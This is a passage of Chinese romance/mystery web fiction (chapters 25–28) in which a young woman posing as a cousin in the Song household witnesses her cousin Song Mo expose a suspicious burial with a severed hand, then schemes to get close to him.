温禾眸光闪动,应父是被因为水难而死,被大水刷一下冲走,哪里还来得及留下什么话,最后喊着救命的可能性还大些。
她声音像一片羽毛,轻飘飘的。
“阿爹他走得太突然……还未来得及交代。”
宋思齐点点头,可惜地长叹,“我与子崇三十年的挚友交情,却连他最后一面都未能见到。当年……若不是子崇的倾囊相助,又怎会有我宋思齐的今日。”
“我如今的一切,都是子崇的功劳。”
这些事情都是提了又提,说了百遍的。宋府众人耳朵都要听出茧子,俱是一贯沉默倾听。只有温禾认真了解宋思齐和应父的渊源。
红姨娘适时地递上茶盏,温声安慰道:“老爷不要太伤神了。”
“只可惜……斯人已逝,”宋思齐想到挚友不在,眼中泪光闪动,他拿袖袍挡了一下又放下,“兰丫头以后就是我的女儿。你放心,只要有我在一日,就不能让人薄待了你。”
林宛筠也跟着说道:“自然,若有什么想要的缺的,尽管来找,千万别憋闷在肚子里。”
温禾低头作感激状,“多谢伯父伯母。”
看上去仿佛真是和乐融融的一家人。
余光瞥见宋明乐正偷偷把整盘杏仁酥往自己面前拖。林宛筠假装没看见,反而笑着转移话题:“幼兰来的真是时候,下个月就是你明义哥哥的冠礼。”
“那我可要好好准备贺礼,”温禾转向宋明义,笑着打趣,“明义哥哥可不许说不喜欢。”
宋明义手中的茶盏猛地一晃,茶水溅在衣襟上。他慌乱地掏出帕子擦拭,连脖颈都泛起了红晕,结结巴巴道:“自、自然不会。”
耳朵红的像要滴血。
本就是客气礼貌的无心之举,他这副样子,温禾暗叫不好:完蛋了,这关系越描越黑。看来找机会跟宋明义说清楚这事,得提上日程了。
憋在心里好一会,她犹豫片刻,还是忍不住轻声问道:“怎么不见三表哥?”
席间顿时一静。
连正在大快朵颐的宋明乐都停下了咀嚼的动作,一双小眼睛滴溜溜地转着。
众人都有些尴尬。一时间,没有人出来回答温禾的问题。
红姨娘是个活络的性子,眼珠一转,连忙跑出来打圆场,脸上堆起笑脸:“默哥儿他性子冷,向来喜欢一个人静静,我们也不好打搅,便没喊他来。”
话音刚落,一道清冷的声音从厅门处传来。众人循声望去,只见宋默一袭素白长衫立于月色之下,和皎白的月光巧妙融合一体,恍若下一刻就要登仙而去。
他嘴角噙着一抹似笑非笑的弧度,十分兴味。
“这么热闹的场合,怎么独独漏了我?”
25.断掌
宋默的目光在席间扫过,最后落在温禾身上。那双乌黑如长夜漫长无垠的眼眸在烛光下流转着奇光异彩。
他的突然出现,让席间众人同时感到不适,神色骤变。
除了温禾,她只是对此感到有些意外。
“看来我来的正是时候,”宋默随手拉开温禾对面的空椅坐下,眼睛弯弯的看着温禾,“表妹方才是在问起我?”
见宋默初来就对温禾产生如此大的兴趣,宋明义莫名感觉到威胁,下意识地挡在温禾面前,挡住了少年的视线。
“三弟,幼兰初来乍到,你莫要……”
“大哥这是做什么?”宋默轻笑一声,指节轻轻敲击着桌面,“我不过是想与表妹说说话罢了。为何如此紧张?”
宋明义正要反驳,却听温禾娇娇地喊了一声“三哥哥”。
宋默很是受用地点点头,破天荒地缓声回应:“兰妹妹。”
这声妹妹说得能有多慢就有多慢,每个字仿佛都在唇齿间细细研磨过,才舍得悠悠吐出来。明明只是一个简单的称呼,从他嘴里说出来,兑上那慢条斯理的语调,硬生生多了几分缱绻暧昧的意味,仿佛带着说不尽的深意。
宛若情人之间的调、情。
因为宋明义挡在跟前,温禾看不见少年的脸,从背后探出半个脑袋。
宋默觉得她这副模样,像只偷腥的小猫闻着味去觅食,很是可爱。
而且,她寻觅的是他。
林宛筠看了一眼丈夫的脸色,暗自揣摩他的心意。她对着宋默道:“既然来了,那便坐下用膳吧。”
说罢,回头吩咐丫鬟下去再添置一副碗筷。
宋默却浅笑着,嘴里说出能噎死人的话。
“不了,我可不敢吃。谁知道里头有没有下毒呢?”
他说话夹枪带棒,一听便知道没有存着好心来的,他来就是为了闹得众人都不愉快。
今日又是表妹新来,宋明义不满他如此不分场合,不免呵责道:“宋默,你怎么能这样对母亲说话?”
“如何不能?”
宋默冷笑,她又不是他的母亲。
“她是你的母亲,你总该懂些孝悌之道!”
“你忘了?我母亲三年前就死了。”
“宋默!”
连看似好脾气的宋明义都发了大火,温禾被这突如其来的对峙吓得睁大了眼睛,她正犹豫开口:“你们……”
“够了!”宋思齐重重搁下茶盏,闹出不小的声响,打破两人愈演愈烈的气氛。
厅内霎时死寂,宋默却恍若未闻,丝毫不受影响地回望发火的宋思齐,眼神冷冰冰的,像未化的春雪停在树梢,一抖落就是一地的潮湿。
“闹什么呢?难看不难看?”
宋思齐看似一起责骂了两个人,但实际上针对的对象只有宋默。下一秒他又转头对宋默呵斥道:“既然不吃,你来这里做什么?惹得所有人都不爽利。”
“阿菱。”
他言语一出,宋思齐突然沉默起来。
“阿菱的尸骨我还未见到,怎么就要将她匆匆下葬?”他盯着宋思齐的眼睛,“难道父亲就不觉得蹊跷?我又如何能相信人真的没了。”
阿菱是宋默的幼妹,便是蕙香嘴里所说的那位落水而亡的五小姐。
宋思齐面色铁青:“你觉得,家里人还能骗你不成?”
闻言,宋默忽然笑了,他觉得这笑话甚是有趣,“那可不一定。毕竟这府里……什么那腌臜事做不出来?”
“你到底想怎么样!”
宋默从怀里掏出一个巴掌大的匣子,随手丢在桌上,发出“咚”的一声闷响。
“父亲不妨打开看看?”
宋思齐狐疑地看看这匣子,眉头紧锁,他看了眼宋默,示意身旁小厮上前。
小厮在他的吩咐下,小心翼翼地打开了这个匣子。霎时发出一声凄厉的尖叫,他踉跄着后退,摔倒在地。匣子翻倒,里头的东西滚落出来。
这下所有人都看清了。
那是一个孩童大小的断掌,被割下的时间有些久了,幽幽散发着浓烈腐烂的恶臭味,青灰色的皮肤上布满密密麻麻的孔洞,白色蛆虫弓着身子蠕动,在里头钻进钻出。
众人都先是被吓了一跳,待看清后又忍不住恶心,刚吃下去的东西翻江倒海。
宋明乐年岁最小,方才进膳吃得也最多,最先受不住,当下就感到反胃,趴在林宛筠膝头剧烈呕吐起来。
丫鬟们手忙脚乱地递上银盆。
宋默对此情形见怪不怪,这都在他的意料之中。事不关己地环抱胳膊,冷眼旁观这场混乱,唇角勾起讥诮的弧度。
他们是生活在高阁之上不染凡尘苦海的贵人,何曾见过云泥之下的血肉凡胎?
但他见过,那才是他生活的世界。
“孽障!”宋思齐拍案而起,怒骂,“你反了天了!竟敢把这种东西带进家门!”
“哦?”宋默对他的怒气视而不见,眉眼弯弯的,像只无害的毛茸茸小狗,顷刻间露出骇人的獠牙。
“父亲连亲生女儿的尸骨也害怕么?”
他的目光掠过在场每一个人,唯独避开了温禾的方向,“都不认得么?”
他脸上挂着戏谑的微笑,眸色深沉,有着黑云压城将要暴雨过境的的沉闷,周身气场
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阴沉森冷。
温禾是见过死人的。
见的还是遍地的死人,是能堆成山的尸海。
经此一遭,她已经不害怕了。那些死去的人,也曾是鲜活的同她交好的亲人好友。
不知为何,她好像窥见了宋默隐藏在恶劣表象之下的痛苦。
下一瞬,宋默的目光落在林宛筠脸上,后者有些僵硬地避开了他直勾勾的眼神。
他笑了笑,继续道:“前几日,我去挖了阿菱的坟,发现这孩子居然连副像样的棺材都没有,就裹着草席扔在乱葬岗里。”
“不过,也幸好因为这样,我才能挖得如此顺利。”
说得有些口干,宋默顿了顿,反问宋思齐:“父亲就不好奇,我发现了什么更有意思的事?”
“有话就说。”宋思齐不耐烦地回道。
宋默从怀里找寻不到帕子拿起那只断掌,正踌躇着,却见少女从自个儿怀里掏出绣有兰花的绣帕,递给他,丝毫不嫌脏。
“喏,拿去吧。”
宋默轻轻瞥了一眼,轻声拒绝:“会弄脏的。”
“没事儿,我还有很多。你先拿去用。”
噤声许久的宋明义见状,突然插进二人之间。自告奋勇地掏出帕子,顺势一把夺走温禾的那块,将自己的塞到宋默手里。
宋默:“?”
温禾:“?”
宋明义:“用我的。”
宋默挑眉,不经意地扫视二人,眸光微沉。他用被调换的帕子裹住断掌,举到众人面前。
“以这手掌的大小来看,它的主人至少要比阿菱高上半个脑袋。而且我仔细检查过这具尸体,颜面青紫发绀,口鼻周围都有擦伤的痕迹,还有指甲的抓痕,明显死前经过挣扎。若是溺亡的,鼻腔内会杂水中的泥沙、藻类等,而且……”
他把那只断掌翻了个面展示。
“表面的皮肤应该浸软,然后脱落。”
宋思齐的目光总算重新落在这只手掌上,“你的意思是,这不是阿菱的?”
“自然不是阿菱。”
宋默将帕子往下扯了一点,露出断掌的几根手指,“而且你们看,这里原本应该长着第六根手指,但却生生被人切掉了,因而看上去和常人一样。”
红姨娘突然尖叫道:“胡说八道!”
“默哥儿,你和菱儿感情好,姨娘都晓得。但你现在拿根烂得不成样子的断手说这不是菱儿,是不是太没道理了?”
“我说的还不够明白吗?”宋默冷眼望向她,“这不可能是阿菱。”
红姨娘似乎断定了他找不到幼妹,大声质问道:“那你倒是把人找出来啊!”
26.小气
“默哥儿,”红姨娘尖着嗓子,丹蔻染就的红指甲攥着帕子朝少年一甩,女人浓烈的脂粉味熏得宋默皱眉,他抬手捂住了口鼻。
“今儿个本是给兰儿接风的好日子。你非要闹得大家都不痛快!你既然口口声声说菱儿还活着,怎么不把人找出来?那这烂骨头吓唬谁呢?”
红姨娘言语刻薄,凉飕飕的语气如同漏了风的竹篓,上下打量着宋默。后者闻言轻笑,眼神凉薄地回望,吓得红姨娘瑟缩了一下,不自觉地往宋思齐身边靠了靠。
她就不信天底下能有小子不怕老子的。
她梗着脖子接着道:“空口白牙的,谁知道是不是你编的瞎话?”
“人在哪儿……”宋默垂首低低地笑,猝而他抬起头,轻飘飘地反驳,“诸位不是最清楚么?”
“都给我闭嘴!”
宋思齐听着二房和三儿子之间的争吵,揉了揉突突直跳的太阳穴。这个家里一个两个的,都不是善茬,净会给他惹事!
他深吸一口气,缓了缓怒气,脸上堆起慈父的笑容:“都是一家人,何必闹成这样?一家人更是要互相体谅互相照顾,切莫生分了才是。”
他转向林宛筠,语气温和却不容置疑:“宛筠啊,你是当家主母,要多加照看家里人之间的情分。”
林宛筠轻轻扫过丈夫,低眉,无甚感情地道了一句是。
“默儿,”宋思齐又转向宋默,眼中满是宽容,“你既然认定了菱丫头还活着,那便去找,天涯海角为父也支持你把她找回来。需要什么尽管和你母亲说。”
他叹了口气,语重心长道:“只是以后莫要再这般莽撞了,吓着你的弟弟妹妹们可如何是好?”
红姨娘不甘心地插嘴道:“找什么?能找到就才怪了。”
她偷偷翻了个白眼,“菱丫头的尸首我们都亲眼瞧见的。你这样怀疑自家人,心里可还有半点亲情?”
“亲情?”宋默又重复了一遍。不知因何缘由,他似是气极了,藏在袖袍下的手抖得厉害,咬牙切齿道:“父亲放心,我自会把阿菱找出来。”
说罢,他便转身离去。
温禾始终安静地坐在席间,这毕竟是宋家的家事,她作为一个新来的外人不好插话。却从宋默和红姨娘之间的争执中,嗅到了一些模棱两可的端倪。
宋默的妹妹宋菱于上月溺死,可下葬的尸体却又异处,似乎并不是宋菱本人。所以宋默怀疑是家中有人趁其不在家偷偷动了手脚,调换了尸体。俗话说,生要见人,死要见尸。宋默认为宋菱没有死,倒也有这个可能。那既然没有尸体,便能合理怀疑宋菱被调换到了别处。
但会是谁呢?
温禾垂眼抠着指甲,思绪纷飞。
若真有人要害宋菱,又为何大费周章地调换尸体?直接毁尸灭迹岂不是更加干脆?
除非……他们的目的是想让宋菱活着,却再也不能回到宋家。
这场接风宴终是不欢而散。
红姨娘最早离席,她借故声称气急攻心,捂着心口说气闷,回了住处。
其他人也陆续散去。
唯有温禾想得出神,连宋明义在她一旁等候多时都未曾注意。
“幼兰。”宋明义轻声唤道。
“嗯?”
温禾想得脑子乱糟糟的,抬起头,眼神里露出十分的茫然。
“我送你回去吧。”
“不必了,我认得路。”见他似要再劝,温禾又补充道:“真的认得,你放心。况且,我也想一个人静一静。”
宋明义刚要开口,林宛筠身边的丫鬟茹娟匆匆走来,俯身凑在他耳边悄悄说些什么。温禾看见他的眉间渐渐皱起,最后只得歉意地看了她一眼:“母亲找我有些事……幼兰,你路上小心。”
温禾倒落得轻松自在,点点头,独自走出宴厅。
她沿着回听雪院的小径散步回去,晚上没吃饱,巧灵被她打发去寻些甜汤填填肚子解解馋。其余四个丫鬟她也一概没有带在身边。
夜风拂面,叶与风相碰,作出沙沙、林响,竹影悠然乘着月色映在白墙之上,像一幅流动的水墨画。
她慢悠悠地荡,荡着荡着,忽然停在那扇陈旧斑驳的木门之外。
听竹院。
她不是故意逛到宋默门口的,因为她是全然有意的。
木门静静地立在那里数十年,怎么也想不到竟然会有人主动碰瓷它。温禾盯着那木门看了半晌,突然往后退了几步,下定决心,闭上眼直直往那木门撞去。
“砰”的一声,她被反弹地跌坐在地上。新制的衣衫不免沾上了尘土,手掌也擦破了几处大大小小的伤痕,看上去不假。
刚刚那阵仗不小,木门的另一侧却迟迟没有人出来。
温禾摆好受伤的姿势,捂着脚,故意拉长了语调,嚷嚷得很大声。
“哎哟——疼死我了,有没有人啊?好疼啊啊啊啊……”
竹林沙沙,门内却一片寂静。
她狐疑地挪着屁股靠近门扉,独眼偷偷往里张望。
只见宋默独自坐在廊下,一条腿屈起支着手臂,遥遥望着天上亮橙橙的月牙儿出神。清凉的月光洒在他清瘦分明的侧脸,眉梢眼角尽是清冷疏离。
“喂!”温禾不死心地又喊了一声,“有没有人啊?救命啊——”
少年置若罔闻。
温禾撇撇嘴,她的声音不小,她敢笃定宋默一定是听到了,这人就是纯粹装耳聋听不见,然后就可以光明正大地不理睬。
心机好深,恐怖如斯。
但她怎么可能就轻易退却!
温禾也不急于一时,她索性扶着门框坐下,有一搭没一搭的,开始每隔一会儿,像公鸡报时似的,支棱着完成任务喊两声。
“有人吗?我好疼啊……”
“我不小心扭伤脚腕了,有没有好心人救救我啊?”
“哎哟——”
“再没人来,我可要疼死在这啦!”
约莫是宋默没料到她这么坚持,被吵嚷得消受不起。喊到温禾口干舌燥,她才终于透过门缝瞥见宋默动了。
他慢悠悠地站起身。
见状,温禾立刻摆好姿势,抱着膝盖仰起小脸,眼里还故意挤出两滴泪花
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。觉得这样还不够,又从地上摸了一把尘土,往脸上抹了抹。
宋默拉开门。
这扇门有些年头了,拉动时,发出绵长的“吱呀”声。
他居高临下地看着她,眉梢微挑。
“大半夜的,表妹是有何贵干啊?”
温禾眨眨眼,举起擦破皮的手心,掐着嗓子娇滴滴道:“三哥哥,我不小心摔了一跤,好疼啊——”
她适时地拉长音调,又挤出两滴泪水,眼眶泪盈盈的,小脸灰扑扑的,好不可怜。
宋默目光先是落在那张脏兮兮却仍旧难掩清丽的脸上,然后移到温禾抱着的那条腿,又移回她脸上。
“伤着哪儿了?”
“左脚扭了,疼得走不了路。”见少年不为所动,温禾可怜兮兮地蹙起眉头,“三哥哥,你能不能扶我一把?”
“不能。”
宋默冷冷丢下一句,跨出门张望了一阵:“你的婢女呢?”
温禾心里腹诽,小气鬼。
她偷偷对着他的背影做了个鬼脸,嘴上却还是娇声娇气:“巧灵去取甜汤了,其他人都歇下了。你就不能好心扶我起来先吗!”
宋默听出话中的怨气,他转过头瞧见少女气呼呼地抓着自己的衣摆,腮帮子鼓鼓的,他想起之前钓上来的一条河豚。
河豚易怒,生起气来,就会不断地膨大。
见他转身看过来,少女立刻又换上那副楚楚可怜、人畜无害的表情,娇娇地抓着衣摆摇晃撒娇,“求求你啦。”
说罢,还对着他眨巴眨巴眼睛。
夜里寒凉,石阶上更是露重湿冷。
宋默叹了一口气,后退两步,在他与温禾之间隔开些许距离。
他朝她伸出手。
把控的距离相当精确,温禾必须极力伸长胳膊,才能勉强够到他的指尖。她刚搭上去,宋默便轻轻一拽。少女顿时像只断了线的纸鸢,七零八落地从空中落下来,撞了宋默满怀。
“对不住,”温禾假意慌乱地道歉,趁机往他怀里钻了钻,“实在是脚太疼了……站不稳。”
说着,抬起了那条“伤腿”。
宋默瞟了一眼那条伤腿,若有所思,忽的他笑起来,眉眼弯弯,如沐春风。
“方才表妹扭伤的是哪条腿来着?”
少年笑得温柔,温禾心里没有防备,还偷偷庆幸在自己的智谋之下,二人的距离果然有所拉近。
她不假思索地答道:“左腿啊,怎么了?”
话音刚落,她突然意识到了什么,低下头看了一眼。
“那表妹抬起右脚是做什么?”宋默声音里带着戏谑的凉意。
温禾囧得简直想要钻进地里去,她闻言立即站直,手掌挡在宋默眼前,“好了,可以了,不要再说了。”
她的手不大,仅仅只能遮住宋默的眉眼。效果甚微但也足够缓解心里的尴尬,温禾咽了咽口水,暗骂了一句。
不解风情的狗东西。
宋默轻松掰开她的手,方才的温柔笑意已荡然无存。
“既然腿脚利索了 ,表妹请回吧。”
27.蹭喝
“表妹,请回吧。”
少年高大的身形挡在门前,只开了半扇的木门被他遮得严严实实。温禾不得不仰起头,才能对上宋默的脸,少年收敛了笑意,脸上又重回冷冰冰的眉眼。
她却不恼,反而展颜一笑,“三哥哥就是这样待客的?”
话音未落,突然趁其不备猫腰从他臂弯下钻了过去。
等宋默反应过来,少女已经坐在院中的石凳上,很是自然地拆开纸袋,正津津有味地吃着他刚买的蜜饯果子。
沾着糖霜的指尖莹润,捏起一块桃酥,放在唇边小口咬下,酥脆的声响在安静的春夜里格外清晰。见宋默还呆立在门口,温禾忙招呼道:“傻站着做什么?进来呀!”
那熟稔的语气,倒像是她才是这间屋子的主人。
宋默没吭声,缓步行至石桌旁。
“这蜜饯金桔真是不错。”温禾晃着双腿,笑得像只得逞的小狐狸,“三哥哥要不要也尝尝?”
“我们很熟吗?”
怎么就不熟了?温禾刚想反驳,她可是跟他同床共枕过两个多月,还拜过天地的假夫妻呢!
酸甜的果肉在口中化开,口腔不断分泌唾液,温禾含糊不清地回道:“现在是不熟啊。”
“那你……”
温禾嘿嘿一笑,打断了他,“但是没关系啊,我们很快就会又熟悉起来了。”
月色流淌之下,温禾黑白分明的眼眸里荡漾着春水潺潺,桃花树落下的残花随风飘落,打着旋儿坠入她眼底的波光里,又顺着春水流进他心底。
周遭好像暗了下来,只有活泼闹腾的她闪着莹莹微光。
宋默忽然沉默下来,修长的手指无意识地在石桌上轻叩,依着心跳,节奏分明。
夜风穿过竹林,带来沙沙的声响,远处偶尔传来一两声夜鸟的啼叫。耳边只剩下风声、鸟声、落叶声……
还有她咂吧咂吧小声咀嚼的声音。
“唔……这个杏脯也好吃……”温禾满足地眯起眼睛,像只偷腥的猫儿。
她今晚着实没有吃饱,顾着对外应幼兰的身份,什么也不敢多吃。那道烧鹅就摆在她面前,近在咫尺,她却只能浅尝一口。厨子掌握的火候正好,油光水滑的表皮亮晶晶的,酥脆香嫩,念念不忘。
现在想起来,还是觉得可惜。
蜜饯吃多了,口里又酸又干,嗓子眼齁得发干,温禾趴在石桌上,摸摸吃得浑圆的肚子,像过去一样使唤某人。
“想喝水。”她嘀咕道。
“宋默,我想喝水——”她懒洋洋地拖长声调。
落叶顺着风的方向悄声停在少年的手背,微凉的触感,惊醒了梦中人。还没回过神来,就见一只白皙的小手伸过来,捏走了那片叶子。
温禾将叶子揪下来在指尖碾碎,无意的触碰在梦中人眼里,是有意的接近。
宋默微微侧头,月光如洗,他的眸中晦暗不明,不解地看着她。
为什么呢?为什么敢这样靠近他?为什么不像其他人一样对他避之如蛇蝎?
难道她不知道,靠近他的人都没有好下场吗?
“我想喝水,你给我去倒杯水来,行不行嘛……”少女嘟囔着嘴撒娇,脑袋轻轻搁在手背上,往左歪着头,脸颊的白净软肉如牛奶般化开。
宋默沉默地起身,不一会儿端来一盏清茶。温禾双手捧着茶盏,咕咚咕咚一饮而尽,“真好喝。”
“只是寻常的水。”
温禾把空茶盏往石桌上一放,托着腮望向他:“你倒的茶,就是好喝,特别甜。”
少女的眼睛亮晶晶的,说得那样真诚,让宋默险些就要信了。他别过脸去,嘴角却不受控制地微微扬起。
灌下一杯,尚且觉得不够,温禾把空茶盏往前一推,眼巴巴地望着宋默。
“能不能……再来一杯?”
宋默垂眸看着那盏空杯,他正要伸手。
却听见巧灵的声音从外头传来,语气焦急,似乎遍寻不到小姐而烦恼。
“小姐——”
“您在哪儿,小姐!”
二人对视一眼,温禾“腾”地站起来,茶也不喝了,拎着裙摆往外冲,带起一阵微风。
“不喝了?”
温禾哪还有心思留下来喝茶,要是被巧灵抓到,可不得被说一顿。
她往前直冲,冲宋默摆摆手,应付道:“不喝了!”
话音未落,人已经像只受惊的兔子般窜了出去,哪还有半点脚伤的样子。
另一边,巧灵提着灯笼沿小径寻来。她刚从厨房端来温禾要的甜汤,却发现小姐根本不在房中。灯笼散发的光晕柔和,在石板路上摇摇晃晃,映出她紧紧蹙起的眉头。
经过听竹院,静谧的夜混着那位晦气的传说,她停下脚步,壮起胆子,期期艾艾地喊了两声。
“小、小姐……”
紧闭的木门忽然“吱呀”,两扇门不约而同地被一股无形的力量缓慢敞开,夜风穿堂而过,吹起巧灵额前的碎发。
她吞咽口水,循着声音望过去。
门后空无一人。
巧灵倒吸一口凉气,灯笼“啪”地掉在地上。只见门后阴影处,一颗脑袋慢慢探了出来。
“鬼、鬼、鬼啊——”
巧灵腿脚一软,跌倒在地,手脚并用地往后爬。
那鬼影却快步追了出来:“巧灵?”
听到熟悉的声音,巧灵停下动作,颤抖着缓慢转过头。月光下,温禾一脸茫然地站在台阶上,发间还沾着几片竹叶。
“小、小姐!?”
巧灵惊魂未定地拍着胸口,“您怎么从……”她瞥了眼听竹院,硬生生把后半句话咽了下去。
温禾弯腰捡起灯笼,不解地问:“你趴在地上做什么?”
“方才……我看见门后有个头。”
温禾长长的“哦”了一声,她伸手把巧灵从地上拉起来,把灯笼塞进巧灵手里,又帮其拍了拍刚刚在地上蹭到的灰,若无其事道:“方才的鬼是我。”
“小姐进听竹院做什么?”
拍打得差不多了,温禾拉着巧灵回自个儿院子去,“小孩子家家的,别问这么多。”
若是原身没有病死,如今应是十四岁,还有半年便要及笄了。巧灵其实比原身还要大上几个月。但温禾可是活了十七年,偶尔还是摆起大姐姐的谱儿。
“您还是离听竹院那位远一些吧。”巧灵打着灯笼照亮前方的路,夜已深了,周围安静的没有任何人声。
她想起接风宴上的事,忍不住嘟囔:“又不是没看见方才吃饭时,
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那位做的昏头事……”
“还有蕙香姐姐也说了,跟那瘟神碰上,准没好事!”
瘟神?又是谁取的新外号……
温禾听得不耐烦,突然停下脚步,掏了掏耳朵,打断:“好了。”
她用食指点了点巧灵的脑门,吓唬道:“再让我听到这莫须有的闲话,我就真的不理你了。”
语气虽轻,却透着不容置疑的认真。
巧灵立刻抿紧嘴唇,右手在唇边一划拉,作出保证。
待二人回到听雪院,温禾困得眼皮子直打架,也顾不上心心念念的甜汤,草草洗漱了一番,便拉着巧灵同榻而眠。
*
翌日,天刚蒙蒙亮,温禾就醒了。她摸了摸身旁尚有余温的被褥,一个鲤鱼打挺坐起身。匆匆洗漱更衣后,她蹑手蹑脚地往外溜。
去的早,说不准能在宋默出门前堵到他。
谁知刚踏出院门,就撞见林宛筠身边的茹娟步履轻盈地正朝这边走来。
主母身边的人自然礼仪周全,待走到温禾面前,茹娟规规矩矩地福了福身:“表小姐,夫人请您过去一趟。”
温禾不死心,踮起脚尖往听竹院的方向望了望,又环顾四周寻找巧灵的影子,最终只得先点头应下:“劳烦茹娟姐姐稍后,我去取些东西就来。”
“奴婢在此候着。”茹娟温顺地退到一旁。
温禾提起裙摆快步跑回房中,胸口微微起伏。她迅速从书案上抽出一张素笺,提笔蘸墨,写下几个清秀小字:
去听竹院守着。
把字笺对半折,她特意摆在进门一眼便能看到的桌案上。想了想又取来一盏瓷杯,稳稳压在纸上,确保不会被风吹走。
做完这些,温禾整了整衣襟,跟着茹娟穿过曲折的回廊,朝林宛筠住的地方去。
边走边盘算着等会儿要找什么借口脱身。
林宛筠居住的荣春院坐落在东院正中。比之西院,金辉兽面,彩焕螭首。甫一入院,映入眼帘的便是热烈如火的洛阳红,那艳丽的红牡丹开得正盛,色泽鲜艳,花朵繁茂,花瓣上还缀着晨露。
“幼兰来了。”
林宛筠端坐在花丛旁的凉亭里,素手执壶,袅袅茶烟中,她抬眸浅笑,不紧不慢地提起茶壶,手腕微压,姿态优雅地为其倒了一杯热茶。
温禾行礼:“伯母万福。”
“快别多礼。”林宛筠示意她近前,讲茶盏推到她面前,“尝尝这新到的茶。”
温禾应言坐下,捧起轻啜,称赞道:“茶汤清亮,入口回甘,唇齿留香,好茶。”
林宛筠微微一笑,“你喜欢便好。”接着她端看温禾许久,那目光似是抽丝剥茧般要将温禾从外到内仔仔细细剥开看一遍。然后她又慢条斯理地问起温禾的饮食起居,事无巨细。
温禾一一作答。
“昨夜睡得很好,下人们也很周到,也无甚缺的。”
闻言,林宛筠放下心来,终于切入正题:“我听闻幼兰先前是有傅母的,此番来了京城,怎的不见这位傅母一同跟来?”
“路途遥远,傅母便没有跟来。”
“那正好,”林宛筠浅笑着和身边丫鬟使眼色,“你来了京城,自然也不能落下功课。伯母这儿正好有个妥帖的人选。我这就让你瞧瞧。”
28.傅母
林宛筠话音落下,一个身穿褐色比甲的中年妇人从屋内转出。她面容严肃,发髻梳得一丝不苟,腰间挂着一把戒尺,走起路来虎虎生风。
温禾看得心头直跳,这阵仗,岂是什么傅母,八成是来管教她,给她使绊子的!
“这位是江嬷嬷,曾在宫中当过差,可教导过京中不少贵女呢!”林宛筠脸上笑意更深,“幼兰觉着如何呢?”
看似给了选择,实则毫无选择。
温禾嘴角勉强扯出一抹笑,她感觉脸颊上的肌肉好像有些死了,笑不出来。
“伯母安排得极好。”
“江嬷嬷只是为人严格了些,心是好的。从明日起,就由她教导你京中的规矩。”
温禾垂首说好。
心里却满是不好,这下子别说去听竹院,她怕是连院门都难出了。
林宛筠本以为此事不成,还需费些功夫,却不想温禾如此好说话,倒是省了不少功夫。她朝江嬷嬷点点头,后者朝温禾行礼,声音如同她的面容一般刻板强硬。
“奴婢明日辰时在听雪院候着表小姐。”
说罢,也不等温禾回应,便径自退下。
一瞬间,荣春院里似只剩下林宛筠和温禾二人。
人都出去了,也就方便说话了。
林宛筠为自己又倒了一杯茶,“这个月月末是长公主的寿辰,幼兰不若同我一块去吧。”
修仙之人本就潇洒无羁,温禾虽时常跟着师兄师姐下山历练,却不曾与皇亲贵胄打过交道,更是对人情世故一概不知。
她本能地拒绝:“我不大擅长……”
“诶~”林宛筠打断她只说了一半的话,“去见见世面,又并非要你同那些人应酬。再说,明义他一个男子跟着我总是不方便。有你在我身边陪着,我也好有人说说话。”
她亲昵地拉起温禾的手,“你可不能拒绝我。”
温禾垂眸看着两人交握的手,林宛筠的指甲修剪得圆润精致,也未像红姨娘似的涂染胭色,却让她无端想起某中猛禽的利爪。
她硬着脑袋点头应下。
林宛筠这才满意地抽回手,自顾自品起茶来。
见状,温禾立即起身告辞。
既已达成目的,林宛筠便也不再挽留,只点头淡淡叮嘱了一句路上小心,便随她去了。
一出荣春院,温禾的脚步就不由自主地加快,仿佛身后有财狼虎豹在追赶。
林宛筠话虽说得含蓄,不明不白的,她心里明镜似的,却也能猜出几分。
何故要让一个新来的表小姐去参加盛宠不衰权倾朝野的长公主寿辰?不过是借她攀附权贵罢了。
而攀附权贵的最快的法子,不就是联姻么?
温禾轻蔑一笑,还真是看得起她。抛开应幼兰这副好面容以外,她要什么没什么,只怕是要让林宛筠失望了。
要是真有哪个眼黑心瞎的看上了她,她也不介意在京中闹些笑话出来,好让那些适婚的儿郎通通打消念头,再不敢接近她。
温禾直奔听竹院,今日林宛筠的表现,也算是警醒了她。留在宋府,寄人篱下,有些事都轮不到自己做主。
不如说服宋默,跟着她一起搬出去独立成家?
她急促地叩响门环,清脆的声响在寂静的院落里回荡,却始终无人应答。
“奇怪……”温禾试着推了推门,发现门竟从里面落了锁。
若是外出了,锁应该留在外头才是吧?
难道人在里头的么?
她退后两步,仰头打量着不算高的院墙。
她试着跳起来触碰,还差一个手掌的距离就能翻上去。然这具身体实在太过虚弱,做什么事情都气喘吁吁很不方便。她试了几次都爬不上去。
温禾咬咬牙,转身跑回听雪院,一把拽住正在浇花的巧灵。
这丫头,定是没看她留下的书信!
温禾摇摇头,没时间计较,吩咐道:“快,帮我寻个梯子来!”
“小姐要梯子做什……”
“别问,快些!”
见小姐急匆匆的样子,巧灵也不再多问,立即唤人取了竹梯来。
本就是偷鸡摸狗见不了人的事,温禾对其他人不放心,只让巧灵一人陪着她搬梯子。
两人废了好些功夫,气喘吁吁地将一架竹梯架在听竹院的墙边。
温禾踩着吱呀作响的梯子,颤颤巍巍地往上爬。巧灵见了有些担心地叮嘱道:“小姐小心。”
温禾好不容易爬到墙头,却发现院内空无一人。
宋默根本不在家。
“这个时辰能去哪儿……”温禾嘟囔着。
坐得高,望得远。她索性坐在墙头上等。青瓦硌得屁股生疼,但她固执地不肯下来。
巧灵站在不远处替她望风。
小姑娘年纪轻轻的藏不住事儿,哭丧着脸,过一会儿便转过头来哀求温禾下来,太危险了,可别摔着碰着了。
温禾爬的树没有一千也有一百,才一人半高的墙能有什么危险的,全然不当一回事,对巧灵的担忧充耳不闻。
只专注着路的尽头。
约莫过了半个时辰,远处终于出现了一个熟悉的身影。少年一袭青衣,衣裳偏大,显得人格外消瘦单薄。他手里拎着几个纸包,正不紧不慢地往这边走。
阳光被白墙截断,只留有一半映照在少年身上,露出棱角柔和的面孔,没什么表情的模样让温禾幻视了虎牙山上的他。
那样乖顺,那样青涩。
温禾激动地想要爬下梯子,谁知一个转身,裙摆勾住了梯子的横梁。只听“哐当”一声,竹梯重重侧倒在地上。
“小、小姐!”巧灵在墙下急得直跺脚。
温禾尴尬地骑在墙头,看着越来越近的宋默,恨不得找个地缝钻进去。
这下完蛋了。
她试探着背过身,伸出一只脚试探着往下触地。左脚不行,又换右脚。
少年走到院门前,抬头望见墙头上哪个手足无措的身影,眉梢微微挑起。
“表妹这是……”他慢条斯理地开口,话中不乏打趣的意思,“在做什么?”
